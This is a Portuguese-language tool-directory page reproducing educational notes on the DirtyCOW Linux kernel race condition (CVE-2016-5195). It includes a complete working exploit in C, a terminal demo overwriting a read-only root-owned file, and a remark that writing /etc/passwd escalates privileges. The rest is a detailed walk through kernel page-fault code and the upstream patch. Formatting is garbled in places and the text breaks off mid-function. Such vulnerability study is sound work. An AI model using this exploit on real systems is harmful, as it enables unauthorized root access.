Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-5195 — Notas do DirtyCOW | Kitploit
Ferramentas/GitHubGitHub/asuka39/cve-2016-5195
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubasuka39/cve-2016-5195

CVE-2016-5195

Notas do DirtyCOW

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2016-5195 DirtyCOW

PoC

  • Modificado de dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

root@kitploit:~
Desculpe, não há conteúdo para traduzir. O campo "INPUT:" está vazio. Por favor, forneça o texto em chinês (zh) para que eu possa traduzi-lo para português (pt).```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt 
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0
$ cat flag.txt
aaaaaa

Uma técnica de exploração bastante comum é escrever sem autorização em /etc/passwd para modificar o usuário root ou modificar as permissões do usuário a fim de escalar privilégios.

Análise

Análise do Exploit

Vamos primeiro ver o que o exp faz.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }

pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

root@kitploit:~
- Primeiro, chamar pthread para criar duas threads
- Em seguida, `fopen` abre o arquivo de destino `argv[1]` somente leitura
- Mapear o arquivo na memória com `mmap` (endereço aleatório). `MAP_PRIVATE` cria um mapeamento de memória privado para a tarefa. Se outra tarefa tentar escrever nesta memória, o processo primeiro faz uma cópia antes de escrever, evitando assim gastar muito tempo e espaço para copiar todo o espaço de memória ao criar processos filhos ou threads, e garantindo que operações de memória concorrentes entre tarefas não interfiram umas nas outras. Isso é o CopyOnWrite
- Em seguida, iniciar duas threads: uma para executar `madviseThread` e outra para executar `procselfmemThread`

Depois, vejamos os corpos de execução das duas threads:

- Uma thread chama `madvise` no mapeamento do arquivo para informar o kernel sobre o uso da memória mapeada ou memória compartilhada. `MADV_DONTNEED` indica que essa região de memória não será mais usada e o kernel pode liberá-la
- A outra thread abre `/proc/self/mem` com permissões de leitura e escrita. Este arquivo é o mapeamento da memória virtual do próprio processo. Então ela tenta repetidamente escrever a informação alvo no arquivo```c
void *madviseThread(void *arg) {
  char *str;
  str = (char*)arg;
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
void *procselfmemThread(void *arg) {
  char *str;
  str = (char*)arg;

  int f = open("/proc/self/mem", O_RDWR);
  int i, c = 0;
  for(i = 0; i < 100000000; i++) {
    lseek(f, (uintptr_t)map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

Finalmente, sob o bombardeio alternado de duas threads, o kernel apresentou uma vulnerabilidade de condição de corrida, e procselfmemThread conseguiu escrever em um arquivo somente leitura.

Análise do Kernel

  • Premissa fundamental: mmap apenas estabelece um mapeamento de memória no vma, mas não coloca realmente o arquivo mapeado em um quadro de página físico. Portanto, quando tentamos write no arquivo pela primeira vez, uma falha de página será inevitavelmente acionada.
  • A versão do kernel escolhida aqui é 4.4

O que acontece quando escrevemos

mem_rw

Começamos a análise a partir de write. Qualquer operação em um arquivo deve passar pela tabela virtual file_operations registrada no VFS pelo sistema de arquivos ao qual o arquivo pertence. Os arquivos em /proc são implementados pelo procfs. Encontrando proc_mem_operations, podemos ver que write está vinculado a mem_write.```c static const struct file_operations proc_mem_operations = { .llseek = mem_lseek, .read = mem_read, .write = mem_write, .open = mem_open, .release = mem_release, };

root@kitploit:~
`mem_write` é um wrapper para `mem_rw` (com o sinalizador `write` definido como 1). O fluxo principal de `mem_rw` é:

- Primeiro, `__get_free_page` aloca uma página livre temporária para atuar como buffer.
- Se for uma operação de escrita, `copy_from_user` copia os dados a serem escritos para a página temporária.
- Em seguida, `access_remote_vm` lê os dados do destino para a página livre (leitura) ou escreve o conteúdo do buffer no endereço de destino (escrita).
  - O termo "remote" se deve ao fato de que este processo pode ler ou escrever em arquivos mapeados na memória de outros processos, o que significa que o processo pode acessar o espaço de endereço de outros processos, ao contrário de outros sistemas de arquivos de memória.
- Se for uma operação de leitura, os dados lidos na etapa anterior para a página livre são copiados de volta para o buffer do usuário.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
			size_t count, loff_t *ppos, int write)
{
	struct mm_struct *mm = file->private_data;
	unsigned long addr = *ppos;
	ssize_t copied;
	char *page;

	if (!mm)
		return 0;

	page = (char *)__get_free_page(GFP_TEMPORARY);	// 申请临时空闲页面
	if (!page)
		return -ENOMEM;

	copied = 0;
	if (!atomic_inc_not_zero(&mm->mm_users))
		goto free;

	while (count > 0) {
		int this_len = min_t(int, count, PAGE_SIZE);	// 本次读取/写入数据长度,单次最大为PAGE_SIZE

		if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
			copied = -EFAULT;
			break;
		}

		this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
		if (!this_len) {
			if (!copied)
				copied = -EIO;
			break;
		}

		if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
			copied = -EFAULT;
			break;
		}

		buf += this_len;
		addr += this_len;
		copied += this_len;
		count -= this_len;
	}
	*ppos = addr;

	mmput(mm);
free:
	free_page((unsigned long) page);	// 释放临时空闲页面
	return copied;
}
__access_remote_vm

access_remote_vm é um wrapper para __access_remote_vm. O fluxo principal é:

  • get_user_pages obtém a estrutura da página (page struct) onde o endereço alvo addr está localizado

  • Se bem-sucedido, chama kmap para mapear a página na memória alta do kernel (a página se refere à página física)

  • Se o acesso à memória for uma operação de escrita, os dados são escritos e o bit sujo é definido. Se for uma operação de leitura, os dados são lidos.```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;

    down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;

    root@kitploit:~
      ret = get_user_pages(tsk, mm, addr, 1,		// 获取addr对应的page
      		write, 1, &page, &vma);
      if (ret <= 0) {		// 获取失败
    

#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;

root@kitploit:~
		maddr = kmap(page);		// 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
		if (write) {	// 如果是写操作
			copy_to_user_page(vma, page, addr,		// 将buf的数据拷贝到page中,完成写入
					  maddr + offset, buf, bytes);
			set_page_dirty_lock(page);	// 设置页面为脏页
		} else {		// 如果是读操作
			copy_from_user_page(vma, page, addr,
					    buf, maddr + offset, bytes);
		}
		kunmap(page);
		page_cache_release(page);
	}
	len -= bytes;
	buf += bytes;
	addr += bytes;
}
up_read(&mm->mmap_sem);

return buf - old_buf;

}

root@kitploit:~
##### __get_user_pages

Acima está a visão geral das operações de leitura/escrita do procfs. Agora começamos com `get_user_pages`.

`get_user_pages` é um wrapper para `__get_user_pages_locked`, e este último chama `__get_user_pages`, que é o corpo lógico. Seu fluxo é o seguinte:

- Primeiro, percorre as páginas a serem operadas e faz alguma preparação inicial, incluindo definir o bitmap de permissões `foll_flags` para cada página.
- Se for a primeira iteração ou o endereço inicial for maior que o endereço base vma atual, `find_extend_vma` obtém o vma onde o endereço inicial está localizado.
- Se o processo não recebeu ou mascarou um sinal fatal, `follow_page_mask` obtém a estrutura de página da página física correspondente ao endereço virtual.
  - Normalmente, a página não está na memória, ou seja, o primeiro acesso à página causa uma falta de página.
  - Além disso, se não houver permissão de operação na página, também causará uma exceção.
  - Além disso, existem outras razões, como OOM, falha de hardware, etc., que não nos importamos aqui.
- Se a obtenção não for bem-sucedida e não for uma falha (retorna 0), chama `faultin_page` para lidar com a exceção de falta de página. Após o tratamento bem-sucedido, volta para `follow_page_mask` para tentar obter a página novamente.```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
		unsigned long start, unsigned long nr_pages,
		unsigned int gup_flags, struct page **pages,
		struct vm_area_struct **vmas, int *nonblocking)
{
	long i = 0;
	unsigned int page_mask;
	struct vm_area_struct *vma = NULL;

	if (!nr_pages)
		return 0;

	VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));

	/*
	 * If FOLL_FORCE is set then do not force a full fault as the hinting
	 * fault information is unrelated to the reference behaviour of a task
	 * using the address space
	 */
	if (!(gup_flags & FOLL_FORCE))
		gup_flags |= FOLL_NUMA;

	do {
		struct page *page;
		unsigned int foll_flags = gup_flags;
		unsigned int page_increm;

		/* first iteration or cross vma bound */
		if (!vma || start >= vma->vm_end) {		// 若vma为空(第一次迭代)或者start超出vma的范围
			vma = find_extend_vma(mm, start);	// 查找start所在的vma
			if (!vma && in_gate_area(mm, start)) {
				int ret;
				ret = get_gate_page(mm, start & PAGE_MASK,
						gup_flags, &vma,
						pages ? &pages[i] : NULL);
				if (ret)
					return i ? : ret;
				page_mask = 0;
				goto next_page;
			}

			if (!vma || check_vma_flags(vma, gup_flags))
				return i ? : -EFAULT;
			if (is_vm_hugetlb_page(vma)) {
				i = follow_hugetlb_page(mm, vma, pages, vmas,
						&start, &nr_pages, i,
						gup_flags);
				continue;
			}
		}
retry:
		/*
		 * If we have a pending SIGKILL, don't keep faulting pages and
		 * potentially allocating memory.
		 */
		if (unlikely(fatal_signal_pending(current)))
			return i ? i : -ERESTARTSYS;
		cond_resched();
		page = follow_page_mask(vma, start, foll_flags, &page_mask);	// 获取虚拟地址对应的物理页的page struct
		if (!page) {	// 获取失败,可能是没有对应页,也可能是没有相应操作权限
			int ret;
			ret = faultin_page(tsk, vma, start, &foll_flags,	// 处理缺页异常,COW机制建映射得到一个新的可写的anon page
					nonblocking);								// 若没有写权限其会取消掉foll_flags中的写标志并返回0
			switch (ret) {
			case 0:		// 缺页异常处理成功,重新尝试获取page
				goto retry;
			case -EFAULT:
			case -ENOMEM:
			case -EHWPOISON:
				return i ? i : ret;
			case -EBUSY:
				return i;
			case -ENOENT:
				goto next_page;
			}
			BUG();
		} else if (PTR_ERR(page) == -EEXIST) {
			/*
			 * Proper page table entry exists, but no corresponding
			 * struct page.
			 */
			goto next_page;
		} else if (IS_ERR(page)) {
			return i ? i : PTR_ERR(page);
		}
		if (pages) {
			pages[i] = page;
			flush_anon_page(vma, page, start);
			flush_dcache_page(page);
			page_mask = 0;
		}
next_page:
		if (vmas) {
			vmas[i] = vma;
			page_mask = 0;
		}
		page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
		if (page_increm > nr_pages)
			page_increm = nr_pages;
		i += page_increm;
		start += page_increm * PAGE_SIZE;
		nr_pages -= page_increm;
	} while (nr_pages);		// 直到所有的页都处理完毕
	return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_mask

follow_page_mask analisa o endereço passo a passo para obter o pte correspondente, então chama follow_page_pte para tentar obter a page struct. A lógica é relativamente simples: após uma série de verificações, retorna a page struct, e, notavelmente, se não encontrar o mapeamento do endereço ou se não tiver permissão de escrita, retorna NULL.```c static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { struct mm_struct *mm = vma->vm_mm; struct page *page; spinlock_t *ptl; pte_t *ptep, pte;

retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);

root@kitploit:~
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
	swp_entry_t entry;
	/*
	 * KSM's break_ksm() relies upon recognizing a ksm page
	 * even while it is being migrated, so for that case we
	 * need migration_entry_wait().
	 */
	if (likely(!(flags & FOLL_MIGRATION)))
		goto no_page;
	if (pte_none(pte))
		goto no_page;
	entry = pte_to_swp_entry(pte);
	if (!is_migration_entry(entry))
		goto no_page;
	pte_unmap_unlock(ptep, ptl);
	migration_entry_wait(mm, pmd, address);
	goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
	goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) {	// 欲执行写操作,但是没有写权限
	pte_unmap_unlock(ptep, ptl);
	return NULL;
}

page = vm_normal_page(vma, address, pte);	// 获取page struct
if (unlikely(!page)) {
	if (flags & FOLL_DUMP) {
		/* Avoid special (like zero) pages in core dumps */
		page = ERR_PTR(-EFAULT);
		goto out;
	}

	if (is_zero_pfn(pte_pfn(pte))) {
		page = pte_page(pte);
	} else {
		int ret;

		ret = follow_pfn_pte(vma, address, ptep, flags);
		page = ERR_PTR(ret);
		goto out;
	}
}

if (flags & FOLL_GET)
	get_page_foll(page);
if (flags & FOLL_TOUCH) {
	if ((flags & FOLL_WRITE) &&
	    !pte_dirty(pte) && !PageDirty(page))
		set_page_dirty(page);
	/*
	 * pte_mkyoung() would be more correct here, but atomic care
	 * is needed to avoid losing the dirty bit: it is easier to use
	 * mark_page_accessed().
	 */
	mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
	/*
	 * The preliminary mapping check is mainly to avoid the
	 * pointless overhead of lock_page on the ZERO_PAGE
	 * which might bounce very badly if there is contention.
	 *
	 * If the page is already locked, we don't need to
	 * handle it now - vmscan will handle it later if and
	 * when it attempts to reclaim the page.
	 */
	if (page->mapping && trylock_page(page)) {
		lru_add_drain();  /* push cached pages to LRU */
		/*
		 * Because we lock page here, and migration is
		 * blocked by the pte's page reference, and we
		 * know the page is still mapped, we don't even
		 * need to check for file-cache page truncation.
		 */
		mlock_vma_page(page);
		unlock_page(page);
	}
}

out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }

root@kitploit:~
##### faultin_page

Similarmente, `faultin_page`, após definir os flags, chama `handle_mm_fault` para oficialmente entrar no fluxo de tratamento de falta de página, o que será expandido posteriormente.```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
		unsigned long address, unsigned int *flags, int *nonblocking)
{
	struct mm_struct *mm = vma->vm_mm;
	unsigned int fault_flags = 0;
	int ret;

	/* mlock all present pages, but do not fault in new pages */
	if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
		return -ENOENT;
	/* For mm_populate(), just skip the stack guard page. */
	if ((*flags & FOLL_POPULATE) &&
			(stack_guard_page_start(vma, address) ||
			 stack_guard_page_end(vma, address + PAGE_SIZE)))
		return -ENOENT;
	if (*flags & FOLL_WRITE)	// 欲执行写操作
		fault_flags |= FAULT_FLAG_WRITE;
	if (nonblocking)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY;
	if (*flags & FOLL_NOWAIT)
		fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
	if (*flags & FOLL_TRIED) {
		VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
		fault_flags |= FAULT_FLAG_TRIED;
	}

	ret = handle_mm_fault(mm, vma, address, fault_flags);	// 处理缺页异常
	if (ret & VM_FAULT_ERROR) {
		if (ret & VM_FAULT_OOM)
			return -ENOMEM;
		if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
			return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
		if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
			return -EFAULT;
		BUG();
	}

	if (tsk) {
		if (ret & VM_FAULT_MAJOR)
			tsk->maj_flt++;
		else
			tsk->min_flt++;
	}

	if (ret & VM_FAULT_RETRY) {
		if (nonblocking)
			*nonblocking = 0;
		return -EBUSY;
	}

	/*
	 * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
	 * necessary, even if maybe_mkwrite decided not to set pte_write. We
	 * can thus safely do subsequent page lookups as if they were reads.
	 * But only do so when looping for pte_write is futile: in some cases
	 * userspace may also be wanting to write to the gotten user page,
	 * which a read fault here might prevent (a readonly page might get
	 * reCOWed by userspace write).
	 */
	if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))	// 若vma不可写,但是缺页异常处理成功,且需要写操作
		*flags &= ~FOLL_WRITE;	// 清除写操作标志,否则会在__get_user_pages中返回不断retry
	return 0;
}

DirtyCOW

Tratamento de Falha de Página

O mecanismo de repetição representado pelo rótulo `retry` em `__get_user_pages` é essencialmente o fluxo de tratamento de exceção de falta de página ao acessar a memória. Usando o cenário deste artigo como exemplo, observe que a operação aqui não é atômica.

  1. Primeira vez

    1. A primeira vez que a Task acessa o endereço mapeado pelo `mmap` para o arquivo, como `mmap` não lê a página na memória, `follow_page_mask` falha ao obter a página causando a primeira exceção de falta de página.
    2. `faultin_page` lê a página na memória, estabelece o mapeamento, e retorna para retry.
  2. Segunda vez

    1. `follow_page_mask` obtém a página pela segunda vez, e a operação de obtenção inclui escrever na página, mas a página de destino é somente leitura, a obtenção falha causando a segunda exceção de falta de página.
    2. `faultin_page`, de acordo com o mecanismo COW, copia uma página anônima, restabelece o mapeamento, e elimina a flag `FOLL_WRITE` para evitar repetições infinitas, e finalmente retorna para retry.
  3. Terceira vez

    1. `follow_page_mask` obtém a página pela terceira vez; desta vez a flag de escrita foi removida, então desta vez com permissão de somente leitura ela obtém com sucesso a página anônima copiada pelo COW, sem causar exceção.
    2. Retorna para `kmap`, o processo completa a escrita (mas as alterações não serão sincronizadas no arquivo).
Como o DirtyCOW funciona

Neste ponto, o ponto vulnerável já está bastante claro. A parte `retry` das três manipulações de falta de página deveria ser atômica, pelo menos a pte deveria ser bloqueada, mas na verdade, por alguma razão desconhecida, não há proteção aqui, tornando este fluxo de execução fácil de ser comprometido. DirtyCOW, ao mesmo tempo que completa o fluxo acima, chama continuamente `madvice` para tentar fazer o kernel limpar a pte e desmapear a página alvo, resultando no seguinte fluxo de execução.

  1. Primeira vez

    1. A primeira vez que a Task acessa o endereço mapeado pelo `mmap` para o arquivo, como `mmap` não lê a página na memória, `follow_page_mask` falha ao obter a página causando a primeira exceção de falta de página.
    2. `faultin_page` lê a página na memória, estabelece o mapeamento, e retorna para retry.
  2. Segunda vez

    1. `follow_page_mask` obtém a página pela segunda vez, e a operação de obtenção inclui escrever na página, mas a página de destino é somente leitura, a obtenção falha causando a segunda exceção de falta de página.
    2. `faultin_page`, de acordo com o mecanismo COW, copia uma página anônima, restabelece o mapeamento, e elimina a flag `FOLL_WRITE` para evitar repetições infinitas, e finalmente retorna para retry.
  3. Concorrência: neste momento, o kernel, sob o conselho de `madvice`, limpa a pte do endereço virtual e desmapeia o endereço virtual (threads do mesmo processo compartilham a mesma tabela de páginas).

  4. Terceira vez

    1. `follow_page_mask` obtém a página pela terceira vez; desta vez a flag de escrita foi removida, então desta vez tenta obter com permissão de somente leitura, mas a página foi desmapeada, causando novamente uma exceção de falta de página.
    2. Como a permissão desta vez é somente leitura, `faultin_page` lê com sucesso a página alvo na memória e estabelece o mapeamento, ao invés de, como no caso normal, copiar uma página anônima pelo COW, e retorna para retry.
  5. Quarta vez

    1. `follow_page_mask` obtém a página pela quarta vez; desta vez obtém com sucesso a página alvo, sem causar exceção novamente.
    2. Retorna para `kmap`, o processo completa a escrita, a página é marcada como suja, e finalmente as alterações são sincronizadas no arquivo, completando a escrita com privilégios elevados.

Um ponto que pode gerar dúvida é: mesmo que tenhamos a página, a vma original ainda é somente leitura, então não poderíamos completar a escrita. A solução para este problema parece ser que `kmap` mapeia a memória na high memory do kernel; mesmo que a pte mapeada pela vma no espaço do usuário seja somente leitura, a pte mapeada na high memory do kernel tem permissão de escrita. Através dela, podemos completar a escrita com privilégios elevados, o que é uma característica específica de `mem_write`.

Para ser um bom COW

Finalmente, vejamos o patch do Linus; possivelmente por considerações de desempenho, ele não adicionou um bloqueio no ponto vulnerável, mas criou uma nova flag `FOLL_COW` para tratar o COW de forma especial.

  • commit:mm: remove gup_flags FOLL_WRITE games from __get_user_pages()```diff diff --git a/include/linux/mm.h b/include/linux/mm.h index e9caec6a51e97a..ed85879f47f5f7 100644 --- a/include/linux/mm.h +++ b/include/linux/mm.h @@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct vma, #define FOLL_TRIED 0x800 / a retry, previous pass started an IO / #define FOLL_MLOCK 0x1000 / lock present pages / #define FOLL_REMOTE 0x2000 / we are working on non-current tsk/mm / +#define FOLL_COW 0x4000 / internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }

+/*

    • FOLL_FORCE can write to even unwritable pte's, but only
    • after we've gone through a COW cycle and they are dirty.
  • */ +static inline bool can_follow_write_pte(pte_t pte, unsigned int flags) +{
  • return pte_write(pte) ||
  • root@kitploit:~
      ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
    

+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;

  • if ((flags & FOLL_WRITE) && !pte_write(pte)) {
  • if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) { pte_unmap_unlock(ptep, ptl); return NULL; } @@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
    • reCOWed by userspace write). */ if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
  • root@kitploit:~
      *flags &= ~FOLL_WRITE;
    
  • root@kitploit:~
          *flags |= FOLL_COW;
    
    return 0; }
root@kitploit:~
#### Dive into Page Fault

##### handle_mm_fault

Anteriormente paramos em `faultin_page`, agora continuamos a partir de `handle_mm_fault` para nos aprofundarmos.```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		    unsigned long address, unsigned int flags)
{
	int ret;

	__set_current_state(TASK_RUNNING);	// 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态

	count_vm_event(PGFAULT);
	mem_cgroup_count_vm_event(mm, PGFAULT);

	/* do counter updates before entering really critical section. */
	check_sync_rss_stat(current);

	/*
	 * Enable the memcg OOM handling for faults triggered in user
	 * space.  Kernel faults are handled more gracefully.
	 */
	if (flags & FAULT_FLAG_USER)
		mem_cgroup_oom_enable();	// 使能内存控制组的OOM处理

	ret = __handle_mm_fault(mm, vma, address, flags);	// handle的真正入口

	if (flags & FAULT_FLAG_USER) {	// 如果是用户态的缺页异常
		mem_cgroup_oom_disable();	// 禁用内存控制组的OOM处理
                /*
                 * The task may have entered a memcg OOM situation but
                 * if the allocation error was handled gracefully (no
                 * VM_FAULT_OOM), there is no need to kill anything.
                 * Just clean up the OOM state peacefully.
                 */
                if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM))	// 如果进程处于内存控制组的OOM状态,但没有OOM错误
                        mem_cgroup_oom_synchronize(false);	// 清理OOM状态即可
	}

	return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
__handle_mm_fault

Vendo novamente o __handle_mm_fault do wrap, na verdade é analisar o pte onde o alvo está localizado e então chamar handle_pte_fault para processar.```c static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, unsigned int flags) { pgd_t *pgd; // 页全局目录指针 pud_t *pud; // 页上级目录指针 pmd_t *pmd; // 页中间目录指针 pte_t *pte; // 页表项指针

root@kitploit:~
if (unlikely(is_vm_hugetlb_page(vma)))	// hugepage
	return hugetlb_fault(mm, vma, address, flags);

pgd = pgd_offset(mm, address);		// (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address);	// 获取pud指针
if (!pud)
	return VM_FAULT_OOM;	// out of memory
pmd = pmd_alloc(mm, pud, address);	// 获取pmd指针
if (!pmd)
	return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) {	// 透明大页
	int ret = create_huge_pmd(mm, vma, address, pmd, flags);
	if (!(ret & VM_FAULT_FALLBACK))
		return ret;
} else {
	pmd_t orig_pmd = *pmd;
	int ret;

	barrier();	// 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
	if (pmd_trans_huge(orig_pmd)) {		// 透明大页
		unsigned int dirty = flags & FAULT_FLAG_WRITE;

		/*
		 * If the pmd is splitting, return and retry the
		 * the fault.  Alternative: wait until the split
		 * is done, and goto retry.
		 */
		if (pmd_trans_splitting(orig_pmd))
			return 0;

		if (pmd_protnone(orig_pmd))
			return do_huge_pmd_numa_page(mm, vma, address,
						     orig_pmd, pmd);

		if (dirty && !pmd_write(orig_pmd)) {
			ret = wp_huge_pmd(mm, vma, address, pmd,
						orig_pmd, flags);
			if (!(ret & VM_FAULT_FALLBACK))
				return ret;
		} else {
			huge_pmd_set_accessed(mm, vma, address, pmd,
					      orig_pmd, dirty);
			return 0;
		}
	}
}

/*
 * Use __pte_alloc instead of pte_alloc_map, because we can't
 * run pte_offset_map on the pmd, if an huge pmd could
 * materialize from under us from a different thread.
 */
if (unlikely(pmd_none(*pmd)) &&
    unlikely(__pte_alloc(mm, vma, pmd, address)))
	return VM_FAULT_OOM;
/*
 * If a huge pmd materialized under us just retry later.  Use
 * pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
 * didn't become pmd_trans_huge under us and then back to pmd_none, as
 * a result of MADV_DONTNEED running immediately after a huge pmd fault
 * in a different thread of this mm, in turn leading to a misleading
 * pmd_trans_huge() retval.  All we have to ensure is that it is a
 * regular pmd that we can walk with pte_offset_map() and we can do that
 * through an atomic read in C, which is what pmd_trans_unstable()
 * provides.
 */
if (unlikely(pmd_trans_unstable(pmd)))
	return 0;
/*
 * A regular pmd is established and it can't morph into a huge pmd
 * from under us anymore at this point because we hold the mmap_sem
 * read mode and khugepaged takes it in write mode. So now it's
 * safe to run pte_offset_map().
 */
pte = pte_offset_map(pmd, address);		// 获取pte指针,这也是这个wrap的最终的目标

return handle_pte_fault(mm, vma, address, pte, pmd, flags);		// 进入page fault处理

}

root@kitploit:~
##### handle_pte_fault

O fluxo de `handle_pte_fault` é o seguinte, com as funções-chave sendo `do_fault` e `do_wp_page`

- Primeiro, verifica se pte é nulo; se sim, indica que o processo está acessando a página pela primeira vez
  - Se a página acessada for anônima, chama `do_anonymous_page`
  - Se a página acessada não for anônima, chama `do_fault`
  - Após essas ações, retorna diretamente
- Se a página estiver na memória (indicando que já foi acessada anteriormente), após realizar algumas verificações, se o page fault foi causado por uma operação de escrita
  - Se não houver permissão de escrita, chama `do_wp_page`
  - Se houver permissão de escrita, define o bit sujo no pte```c
static int handle_pte_fault(struct mm_struct *mm,
		     struct vm_area_struct *vma, unsigned long address,
